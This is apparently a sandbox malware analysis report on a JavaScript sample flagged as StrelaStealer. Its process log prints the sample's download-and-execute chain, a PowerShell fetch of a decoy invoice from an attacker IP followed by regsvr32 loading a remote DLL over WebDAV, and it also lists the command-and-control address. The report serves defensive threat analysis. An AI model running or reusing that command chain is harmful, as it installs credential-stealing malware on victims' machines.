Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1731726859230921847.js	7%	Virustotal		Browse
1731726859230921847.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.36	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.143.1.205:8888/tem	net.exe, 0000000C.00000002.1318121814.000002029A978000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1317822058.00000249FF600000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false	high
http://crl.ver)	svchost.exe, 0000000F.00000002.2541089928.00000249FF800000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false	high
https://www.adobe.co	ReaderMessages.10.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false	high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1318121814.000002029A978000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/b	net.exe, 0000000C.00000002.1318121814.000002029A9BA000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588775
Start date and time:	2025-01-11 05:21:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1731726859230921847.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 50.16.47.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 184.28.90.27, 23.209.209.135, 217.20.57.36, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:22:36	API Interceptor	25x Sleep call for process: powershell.exe modified
23:22:40	API Interceptor	1x Sleep call for process: net.exe modified
23:22:40	API Interceptor	2x Sleep call for process: svchost.exe modified
23:22:48	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066920449140834
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqC:2JIB/wUKUKQncEmYRTwh02
MD5:	F331A77E76CB3FE492B8B55DC05C4D44
SHA1:	DD87F906E94CBD07EA787B0B9EAE2CA26E988554
SHA-256:	C1A54E59E833EE0A87D51161E3319CAC8C5E198AC625102094F51B513827F81D
SHA-512:	A97821D9392E8455B4CA7AF4689B55A9014F06D2F88E35AA132D7EB04F4502E2B81A2ADF2DA3EC17475CC1758503D61109A6258A3A070E1B09C2C7321AA94F71
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe0acf1bf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899550887866745
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	6209868A592C08388CB59127C653B683
SHA1:	27F597ABDDFEFC4A3AA1F8057FB472EA15BFC006
SHA-256:	EFDC69E765EE0DBEFEF24A972833CEA284331A3EFAC2D949165F04A37C56E6E1
SHA-512:	00EC35467EF8B9F7F34A23B371525E0AD9FFFDA57364E72138FF4E5D78715CE66F8ED7213F4FDF3330B9C19A3B8EA36AF35519A72757A327424DCE6CA6204CD2
Malicious:	false
Preview:	..... ...............X\...;...{......................0.`.....42...{5.)....}7.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.....................................4)....}7................./...)....}7..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08110323507321052
Encrypted:	false
SSDEEP:	3:6y6Ye78kjXD1t/57Dek3JAil/lallEqW3l/TjzzQ/t:69z78GHR3tA2Amd8/
MD5:	6DA96BC6721095F7A66C003640670DFC
SHA1:	70E016F620CDEDD317D680D9ECC62334404A4CC7
SHA-256:	6B62F0639FF3664BB6EF2ACB2F8F641DF80604902E24861BBAAA0E5361ACB96A
SHA-512:	C9B6D02922EF7358D3DC4160DF6714CC34771A2B4BF1624D4CACC2F9EBB003CA8BB18BC085287127FA913016D5270B09A0E5EDB619E81F98CFFC76B33D7C136E
Malicious:	false
Preview:	E.(......................................;...{..)....}7.42...{5.........42...{5.42...{5...Y.42...{59................/...)....}7.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.166102437561303
Encrypted:	false
SSDEEP:	6:iO4q+UVGSQ+q2PcNwi2nKuAl9OmbnIFUtSq+ofdWZmwsq+ofQVkwOcNwi2nKuAlz:7rs3+vLZHAahFUtBY//oV54ZHAaSJ
MD5:	906716192BF586915249C2191DD3616C
SHA1:	44C77A65CFC639E019B5558A6C6F06EE38FAAA62
SHA-256:	5AE308FB93FC92EC8218EA3DFE8BC1AA57AC432F61700C77CF899F4054558E19
SHA-512:	19E2221675D6D6E29A7259A95C41AFC66BF15139E83C277EFBEECCF058724656125C5F7D788E492F82018DF46A5B561E6883E20CF56551F0AB837842DEDE1FE1
Malicious:	false
Preview:	2025/01/10-23:22:40.667 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:22:40.670 1c0c Recovering log #3.2025/01/10-23:22:40.670 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.166102437561303
Encrypted:	false
SSDEEP:	6:iO4q+UVGSQ+q2PcNwi2nKuAl9OmbnIFUtSq+ofdWZmwsq+ofQVkwOcNwi2nKuAlz:7rs3+vLZHAahFUtBY//oV54ZHAaSJ
MD5:	906716192BF586915249C2191DD3616C
SHA1:	44C77A65CFC639E019B5558A6C6F06EE38FAAA62
SHA-256:	5AE308FB93FC92EC8218EA3DFE8BC1AA57AC432F61700C77CF899F4054558E19
SHA-512:	19E2221675D6D6E29A7259A95C41AFC66BF15139E83C277EFBEECCF058724656125C5F7D788E492F82018DF46A5B561E6883E20CF56551F0AB837842DEDE1FE1
Malicious:	false
Preview:	2025/01/10-23:22:40.667 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:22:40.670 1c0c Recovering log #3.2025/01/10-23:22:40.670 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.16567933432143
Encrypted:	false
SSDEEP:	6:iO4q+mnIq2PcNwi2nKuAl9Ombzo2jMGIFUtSq+mWDZmwsq+mPFkwOcNwi2nKuAlx:7ZIvLZHAa8uFUt+D/z54ZHAa8RJ
MD5:	E1C2AED4E7C6B08CAA384A2B520C23A4
SHA1:	117847DEB05142BA58D160639157055CAAA22F57
SHA-256:	0663F41FFECEE3DB26282726144C64BAB4FC3A0E9E6483E604D90CC3F93C0EE3
SHA-512:	A87004A872C48DA1B8343D6B8DD8988BF018330B8E4D5F10C3FE76F3AF1358C7A766458BAE2FF7D1C79E5410266A3C2113DB4344DB4D51E8C249BCA7CD0D7DF3
Malicious:	false
Preview:	2025/01/10-23:22:40.692 1cd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:22:40.693 1cd0 Recovering log #3.2025/01/10-23:22:40.694 1cd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.16567933432143
Encrypted:	false
SSDEEP:	6:iO4q+mnIq2PcNwi2nKuAl9Ombzo2jMGIFUtSq+mWDZmwsq+mPFkwOcNwi2nKuAlx:7ZIvLZHAa8uFUt+D/z54ZHAa8RJ
MD5:	E1C2AED4E7C6B08CAA384A2B520C23A4
SHA1:	117847DEB05142BA58D160639157055CAAA22F57
SHA-256:	0663F41FFECEE3DB26282726144C64BAB4FC3A0E9E6483E604D90CC3F93C0EE3
SHA-512:	A87004A872C48DA1B8343D6B8DD8988BF018330B8E4D5F10C3FE76F3AF1358C7A766458BAE2FF7D1C79E5410266A3C2113DB4344DB4D51E8C249BCA7CD0D7DF3
Malicious:	false
Preview:	2025/01/10-23:22:40.692 1cd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:22:40.693 1cd0 Recovering log #3.2025/01/10-23:22:40.694 1cd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF58ad4b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\be384084-fddc-4d46-b64c-263e78f54b1c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9540048516195805
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPQsBdOg2H9Ocaq3QYiubSpDyP7E4T3y:Y2sRdssFdMHz3QYhbSpDa7nby
MD5:	160F101A89E6BD1328DEC5E245973329
SHA1:	6BBB03A0AB9E294399C754D0EF1B674FCD15CAEC
SHA-256:	F1DA7EF0EE81B223A2B1B9B88098E5408A4BAC76755E1CC5C2BE6611B263F586
SHA-512:	C2000E4B842ECA5F3812ABD18946AAC4D88B44890F7F9FA1ED725F1DA3E3D2ABB4173A77C62AFCF64E6F688CDB5AE233FB032857BAE2C3A6CBB2416E4F9AC387
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129372447678","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133373},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2a8e0e9-9b25-403c-8014-6941ae89b99e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2379360998691915
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPk7SJK:CwNw1GHqPySfkcigoO3h28ytPk7SJK
MD5:	300CA18007AF20E522B1D33C76C492A6
SHA1:	07246C5DD0BE1C4B3F5FDF9A737CF3B4D3DE9BF7
SHA-256:	58CE14F5B163341D966E1C1507B6F63F2EE63269C333272D1CB7534DAEFD9F96
SHA-512:	1B96BB2D48BF003B163ED723BF7DEFB243435A5AD0273E8D5396CDEC37A8F13605F50E88E82CED0F41F62C6FE302ED137E027E1ADC16D6C825964FA0D95D7868
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.183318485166124
Encrypted:	false
SSDEEP:	6:iO4q+nAq2PcNwi2nKuAl9OmbzNMxIFUtSq+USXZmwsq+IzkwOcNwi2nKuAl9Ombg:7eAvLZHAa8jFUtzS/l54ZHAa84J
MD5:	923FB02295F6F8BDAB9075805A971ADC
SHA1:	B1EFFC5308004E1FED6BB0CD646F7687A8A4D7CB
SHA-256:	007BB98F1BA450CA37CB6B686A4B706AC04898732F9E6F6091F42BEF111868A4
SHA-512:	BF2B1CB1B9332E583F16BF16875F3A2191B6C58CEEACED80E373FE6601AF1A7F8744F52B47AB5BFED3FC52E5E4BC78C40C3DC10482B4DAAA5A5E7AF7B37E2A87
Malicious:	false
Preview:	2025/01/10-23:22:40.884 1cd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:22:40.886 1cd0 Recovering log #3.2025/01/10-23:22:40.887 1cd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.183318485166124
Encrypted:	false
SSDEEP:	6:iO4q+nAq2PcNwi2nKuAl9OmbzNMxIFUtSq+USXZmwsq+IzkwOcNwi2nKuAl9Ombg:7eAvLZHAa8jFUtzS/l54ZHAa84J
MD5:	923FB02295F6F8BDAB9075805A971ADC
SHA1:	B1EFFC5308004E1FED6BB0CD646F7687A8A4D7CB
